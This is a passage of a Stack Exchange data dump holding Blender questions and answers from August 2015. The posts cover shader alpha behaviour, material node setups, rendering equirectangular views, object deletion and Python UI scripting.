  <row Id="36688" PostTypeId="2" ParentId="36681" CreationDate="2015-08-29T20:58:23.907" Score="2" Body="&lt;h2&gt;Because transparent shader brings alpha channel information.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Diffuse shader by default contributes to the final image alpha with a value of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparent shader contributes with a alpha value that reflect its colour HS&lt;strong&gt;V&lt;/strong&gt; value's... &lt;em&gt;value&lt;/em&gt;. High values corrispond to a low alpha (not in a proportional way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using an &lt;strong&gt;Add shader&lt;/strong&gt; you are combining the shaders's alpha info (or you can  call it Transparency values) in the final render too. I can't exactly tell you the math between the values combination (see below for some thought about it)... anyway the important thing is that the low values rules!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Transparency values would be the imputs of a logical operation, the Add shader node would work quite like an &lt;strong&gt;OR operator&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CV4tw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CV4tw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case, the white transparent shader would bring to an almost completely black alpha channel in the final rendered image. If you examine the composite pass without enabling alpha channel I bet you'll see the image correctly rendered, and the alpha channel almost completely black, resulting in an empty final image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What about the preview?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference from the preview cames from the fact that the preview has no alpha, and the grey checker pattern that looks to us as if there is nothing...it's merely a simple, true, &lt;strong&gt;background image&lt;/strong&gt;! It gives the illusion of transparency but it's not related with the final alpha channel. It's the same result you would get in the final render by adding a checker background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact if you put an object with alpha behind your geometry, it will shows up correctly (same thing if you disable Transparent option in the Film panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CfBWa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfBWa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the resulting shader bring not exactly to a completely black alpha channel, you can try to exaggerate the difference of the values stored into by adding a Math node set to Greater than as in the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IUL2O.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IUL2O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the most common way to use alpha from texture in shaders involve using the mix shader node as in the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/awSc5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/awSc5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final alpha will be composed from a mix of values of the diffuse alpha (1) and the values from transparent shader (0) masked by the texture's alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's a brief analysis of how Add Shader node combines two imput values.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing scene setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pWbKQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pWbKQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/criBm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/criBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown by the blue function in the graphs above, the resulting alpha is quite similar to the sphere sector equation. The difference is probebly due to the use of some dampening factor, anyway there is no doubt that should be something not too far away from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alpha = (1-Value1^2-Value2^2)^0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hK1y8m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hK1y8m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/buTSEm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/buTSEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated before the Diffuse shader gives you an alpha value of 1, so it means it behaves as a black transparent shader, so it's Transparency = 0. By setting a full white Transparent shader (Transparency = 1) and adding the two shaders you'll have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alpha = (1-1^2-0^2)^0.5=(1-1-0)^0.5=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means that with that node setup your images will always have an empty alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I wasn't able to find any evidence in the documentation of what I said, so consider it as my personal opinion.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-30T23:35:50.083" LastActivityDate="2015-08-30T23:35:50.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36689" PostTypeId="2" ParentId="36687" CreationDate="2015-08-29T21:40:53.480" Score="5" Body="&lt;h2&gt;Introduction to Nodes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, you can have all sort of nodes, mostly it's quite strait forward what the node does, for an instance the Transparency node or the diffuse, glass, glossy or emission node. Depending on what you want to make you might want to Mix two nodes, for that you would use a Mix Shader node or an Add Shader node, the difference is that the Mix Shader node has a more controll over the Factor that the two nodes are displayed. I'll give some examples of how you can do basic things with nodes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Giving material an Image Texture&lt;/h1&gt;&#xA;&#xA;To give a material an Image Texture you would create a &lt;em&gt;Diffuse Node&lt;/em&gt; then connect to it the &lt;em&gt;Image Texture Node&lt;/em&gt; and plug the &lt;em&gt;Diffuse Node&lt;/em&gt; in to the Surface slot in the &lt;em&gt;Material Output Node&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Se4Rb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Se4Rb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Giving material a normal map&lt;/h1&gt;&#xA;&#xA;There are couple of ways that you can give your material a Normal Map but a common one would be by simply connecting a &lt;em&gt;Normal Map&lt;/em&gt; node into the Normal slot  of the &lt;em&gt;Diffuse Node&lt;/em&gt;, also for Normal Map to work properly you have to plug into the Color slot of the &lt;em&gt;Normal Map&lt;/em&gt; node another &lt;em&gt;Image Texture Node&lt;/em&gt;, this Image Texture would be your Normal Map.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JB5yg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JB5yg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Adding Decals to your material&lt;/h1&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Adding Decals to your model is slightly more difficult, to add a Decal to your material you would need to connect &lt;em&gt;MixRGB Node&lt;/em&gt; into the &lt;em&gt;Diffuse Node&lt;/em&gt;, then you will have to connect your Base Texture into the bottom slot and the Decal Image Texture into the upper slot of the &lt;em&gt;MixRGB&lt;/em&gt; and finally use the Alpha value as the factor for them both, just like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5PmQD.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5PmQD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-29T21:40:53.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36690" PostTypeId="2" ParentId="36573" CreationDate="2015-08-29T21:57:35.463" Score="4" Body="&lt;p&gt;First create a sphere and in edit mode select the triangular fans on the poles of the sphere and inset to very small size using &lt;kbd&gt;I&lt;/kbd&gt; button and delete the triangular fans leaving very small holes on the poles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CCWPg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CCWPg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then unwrap the sphere using follow active quads, position and scale the UVs to fit the UV/Image editor window.&#xA;Once the sphere is unwrapped add a new texture with video resolution you want (1920x1080)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JrUr2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JrUr2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a material to the sphere, enable Shadeless, Mirror and set Reflectivity to &lt;strong&gt;1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cJKsf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cJKsf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then scale the sphere to small size and position it where the camera should be and add Subsurf modifier with at least 2 subdivisions to reduce texture distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once all the steps are finished you can use  the python script to bake the textures for each frame in a sequence. &lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-29T23:16:31.940" LastActivityDate="2015-08-29T23:16:31.940" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36691" PostTypeId="1" CreationDate="2015-08-29T22:01:17.453" Score="1" ViewCount="68" Body="&lt;p&gt;I was browsing the docs when I ran into something interesting: &lt;code&gt;bpy.types.propertyGroupItem&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the doc says about it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Property that stores arbitrary, user defined properties&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did a little digging around but couldn't find anything else about it. It sounds very interesting but I have absolutely no idea how to use it. Could someone give an explanation of what this is and when to use it?&lt;/p&gt;&#xA;" OwnerUserId="2387" LastActivityDate="2015-08-29T22:01:17.453" Title="How to use PropertyGroupItem" Tags="&lt;scripting&gt;&lt;properties&gt;&lt;documentation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36696" PostTypeId="1" AcceptedAnswerId="36790" CreationDate="2015-08-29T22:44:06.660" Score="0" ViewCount="75" Body="&lt;p&gt;I've made a shooting scene in the blender game engine and I want a property of the gun to show how many shots have been fired. This is how the shooting works:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XAlyG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XAlyG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an integer property on the gun called &quot;shots_fired&quot; and I want this property to increase by 1 every time the shoot animation is played.&#xA;I've tried to have true-level triggering with different skip amounts but it's not working properly&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-08-31T15:00:56.427" Title="Blender Game Engine: do something when an actuator happens" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36697" PostTypeId="2" ParentId="36602" CreationDate="2015-08-29T22:54:10.133" Score="0" Body="&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt; - After reviewing comments it was just a weird occurance that I cannot re-create. Multi-ressing a cube and than sculpting it works just fine!&lt;/p&gt;&#xA;" OwnerUserId="16576" LastEditorUserId="16576" LastEditDate="2015-08-30T02:05:08.647" LastActivityDate="2015-08-30T02:05:08.647" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36698" PostTypeId="2" ParentId="36696" CreationDate="2015-08-29T23:46:03.477" Score="0" Body="&lt;p&gt;Check this out. It works for me cause I activated tap. Also in the actuator's column add your action-animation actuator and connect it with the and controller. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZnVCT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZnVCT.png&quot; alt=&quot;image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-29T23:46:03.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36700" PostTypeId="1" CreationDate="2015-08-30T00:37:58.770" Score="2" ViewCount="265" Body="&lt;p&gt;Whenever I create a new Object all of them are black.&lt;br&gt;&#xA;I tried to adjust in user preference, but it only useful for old object. New objects are still black.&lt;br&gt;&#xA;Why?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Zb9n3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zb9n3.png&quot; alt=&quot;3D view showing the black object&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16782" LastEditorUserId="2217" LastEditDate="2015-08-30T01:14:04.963" LastActivityDate="2015-08-30T01:14:04.963" Title="No Light in Object Mode" Tags="&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36701" PostTypeId="1" AcceptedAnswerId="36714" CreationDate="2015-08-30T01:35:59.443" Score="4" ViewCount="5564" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mb7y6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mb7y6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this by using the advice here...&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/194/how-to-display-the-edges-of-a-mesh-while-in-object-mode&quot;&gt;How to display the edges of a mesh while in Object mode?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, use object mode and check &quot;wire&quot; and &quot;display edges&quot;. Then I adjust materials until I can get it as white as possible. Unfortunately, I still get some shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this with no shading, zero, nada? Here's something along the lines of what I am trying to acheive...&#xA;&lt;a href=&quot;http://www.shutterstock.com/pic-116577055/stock-photo-high-resolution-concept-or-conceptual-d-wireframe-human-female-head-isolated-on-beige-background.html?src=pp-same_artist-116574211-2&amp;amp;ws=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.shutterstock.com/pic-116577055/stock-photo-high-resolution-concept-or-conceptual-d-wireframe-human-female-head-isolated-on-beige-background.html?src=pp-same_artist-116574211-2&amp;amp;ws=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to top it off, I'm a total Blender noob. I slog through it once a month to get wire frame images for a regular blog feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="16781" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-08-30T08:59:08.547" Title="How to get solid render with wireframes and no shading" Tags="&lt;wireframe&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36702" PostTypeId="2" ParentId="36642" CreationDate="2015-08-30T01:52:51.140" Score="0" Body="&lt;p&gt;You can use the Knife project tool :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- select the one to cut with (in object mode ) and click &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt;/&lt;kbd&gt;3&lt;/kbd&gt;/&lt;kbd&gt;7&lt;/kbd&gt; to go in local ortho view so only the outlines are visible.&lt;br&gt;&#xA;  2- press &lt;kbd&gt;Shift&lt;/kbd&gt; and select the other object and switch to edit mode.&lt;br&gt;&#xA;  3- deselect all and use Knife project and enable cut through.&lt;br&gt;&#xA;  4- reverse the selection with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; and delete the vertices.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-08-30T01:52:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36703" PostTypeId="1" AcceptedAnswerId="36706" CreationDate="2015-08-30T03:30:01.123" Score="3" ViewCount="722" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KFINb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KFINb.png&quot; alt=&quot;Scene layers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure of correct term, but, how do you delete a layer such as the 'body' layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T6i08.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T6i08.png&quot; alt=&quot;(244) Lamp)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, not sure of correct name for this, but the (244) should read (1). How is this deleted or changed?&lt;/p&gt;&#xA;" OwnerUserId="16706" LastEditorUserId="12" LastEditDate="2015-08-30T03:49:51.250" LastActivityDate="2019-01-14T22:53:18.630" Title="Deleting an object from the outliner" Tags="&lt;interface&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36704" PostTypeId="1" CreationDate="2015-08-30T03:40:58.467" Score="3" ViewCount="1477" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JgCmB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JgCmB.png&quot; alt=&quot;Yellow Cone in OBJECT MODE&quot;&gt;&lt;/a&gt;&#xA;This object looks fine in this mode. It has a shiny material on 2 selected faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nKlfJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKlfJ.png&quot; alt=&quot;same Yellow Cone in EDIT MODE&quot;&gt;&lt;/a&gt;&#xA;However, it turns black in this mode. It looks like wire, with hundreds of edges.&lt;/p&gt;&#xA;" OwnerUserId="16706" LastActivityDate="2015-08-30T03:47:09.763" Title="Why does the object turn black in the Edit Mode?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-31T06:53:41.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="36705" PostTypeId="2" ParentId="36704" CreationDate="2015-08-30T03:47:09.763" Score="6" Body="&lt;p&gt;You have an extremely large number of faces (and edges, and vertices). If you hit 'A' a few times in edit mode it will toggle orange/black/orange, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you intend to use this for, it may be far too many faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that you have a subdivision-surface modifier on this object, and the 'view subdivision' count is too high. Check your Modifiers tab to find out.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastActivityDate="2015-08-30T03:47:09.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36706" PostTypeId="2" ParentId="36703" CreationDate="2015-08-30T03:49:19.123" Score="4" Body="&lt;p&gt;That's not a layer view even tho it looks like one if you are coming from other software. The view you are looking at is called the &lt;a href=&quot;https://www.blender.org/manual/editors/outliner.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Outliner&lt;/a&gt; and those are objects in your scene. To delete an object in Blender, you can go the the 3d view, select it and use the &lt;kbd&gt;X&lt;/kbd&gt; key. From the outliner, right click the entry and choose &lt;em&gt;Delete&lt;/em&gt;. Further reading &amp;mdash; &lt;a href=&quot;https://blender.stackexchange.com/questions/3467/how-do-i-delete-an-object&quot;&gt;How do I delete an object?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-08-30T03:49:19.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36707" PostTypeId="1" AcceptedAnswerId="36717" CreationDate="2015-08-30T04:19:25.883" Score="4" ViewCount="6404" Body="&lt;p&gt;Is there a way to paint through a mesh while weight painting? I have clicked the &quot;limit selection to visible&quot; button, but I still cannot paint through all visible faces in wireframe mode.&lt;/p&gt;&#xA;" OwnerUserId="13828" LastActivityDate="2019-02-23T12:39:14.417" Title="How to paint through a whole mesh while weight painting" Tags="&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36708" PostTypeId="1" AcceptedAnswerId="44209" CreationDate="2015-08-30T05:04:37.620" Score="0" ViewCount="193" Body="&lt;p&gt;The task is to add an additional audio track to a video file (mkv).&lt;br&gt;&#xA;But I do not want to change a video track in any way while rendering.&lt;br&gt;&#xA;Can it be done in Blender?  &lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorDisplayName="user1853" LastEditDate="2015-08-30T05:21:19.850" LastActivityDate="2016-01-03T21:18:29.180" Title="Using Blender as a video editor can I only add an audio track without recoding a video track?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36710" PostTypeId="1" AcceptedAnswerId="36726" CreationDate="2015-08-30T07:12:25.327" Score="3" ViewCount="1003" Body="&lt;p&gt;I have a layer of vertex properties that I would like to expose through a Blender UI panel, so I can edit them. Through examples I learnt that you can expose the property and have it displayed and editable using props in the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example to display the cursor I could do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.column().prop(view, &quot;cursor_location&quot;, text=&quot;Location&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't do the same at all for selected list of vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class path_mesh_viewer_panel(bpy.types.Panel):&#xA;    bl_label = &quot;Path Node&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.active_object is not None and &#xA;                context.mode==&quot;EDIT_MESH&quot;)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        ob = bpy.context.active_object&#xA;        me = ob.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;        node_width_key = bm.verts.layers.float['node_width']&#xA;&#xA;        bm.verts.ensure_lookup_table()&#xA;        bm.edges.ensure_lookup_table()&#xA;&#xA;        if bm.select_mode != {'VERT'}:&#xA;            layout.label(&quot;Vertex select only&quot;, icon = 'INFO')&#xA;            return&#xA;&#xA;        selected = [vert.index for vert in bm.verts if vert.select]&#xA;        if not selected:&#xA;            layout.label(&quot;Nothing selected&quot;, icon = 'INFO')&#xA;        else:&#xA;            for i in selected:&#xA;                # I would like to have UI element here so I can edit the vertex layers&#xA;                layout.column().prop(bm.verts[i][node_width_key], &quot;&quot;, text =     'INFO')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last line immediately complains and gives out the following error in the System Console. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;File &quot;E:\paths-visualizer\blenderview.py&quot;, line 94, in draw&#xA;layout.column().prop(bm.verts[i][node_area_id], &quot;&quot;, text = 'INFO')&#xA;TypeError: UILayout.prop(): error with argument 1, &quot;data&quot; -  Function.data expected a AnyType type, not int&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why am I getting the error? I have declared the vertex layer in code that creates the mesh, I can access it fine but not in the UI. Is there any way to do it? &lt;/p&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="47" LastEditDate="2015-08-30T10:28:11.130" LastActivityDate="2015-08-30T14:35:20.137" Title="Create UI slider for each member in a custom vertex layer (floats)" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36711" PostTypeId="1" CreationDate="2015-08-30T07:56:29.700" Score="3" ViewCount="523" Body="&lt;p&gt;I'm modelling a chair in Blender from a reference photo. The problem is that the stitches on the chair are not the right shape. I beveled the edges that represent the stitchings and extruded twice, first inward and then outward. But after applying the subsurf modifier, it doesn't look like the reference photo. Please suggest any way to do this. I'm just a beginner to Blender.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KcVnn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KcVnn.png&quot; alt=&quot;chair reference&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X6Iae.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X6Iae.png&quot; alt=&quot;Model screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sUTJw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sUTJw.png&quot; alt=&quot;mesh closeup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2I69f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2I69f.png&quot; alt=&quot;rendered image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vB9tM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vB9tM.png&quot; alt=&quot;reference&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16669" LastEditorUserId="16669" LastEditDate="2015-09-06T12:03:59.103" LastActivityDate="2017-05-15T05:00:25.983" Title="How to model stiches on a chair" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36712" PostTypeId="2" ParentId="36573" CreationDate="2015-08-30T08:03:17.040" Score="2" Body="&lt;p&gt;I'm sure with a minor edit this script, combined with the above solution, will allow to render an equirectangular animation or frame in in Blender Internal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# remember current frame to switch back after the script is finished&#xA;current_frame = bpy.context.scene.frame_current&#xA;&#xA;mesh = bpy.context.scene.objects.active.data&#xA;&#xA;for i in range(bpy.context.scene.frame_start, bpy.context.scene.frame_end+1):&#xA;    # set current frame&#xA;    bpy.context.scene.frame_current = i&#xA;&#xA;    # create an image which will store the baked data&#xA;    image = bpy.data.images.new(str(i)+'.png', bpy.context.scene.render.resolution_x, bpy.context.scene.render.resolution_y, alpha = 0)&#xA;    image.file_format = 'PNG'&#xA;    image.filepath = &quot;//&quot;+str(i)+&quot;.png&quot;&#xA;&#xA;    #set the active image for each uv:&#xA;    for uvface in mesh.uv_textures.active.data:&#xA;        uvface.image = 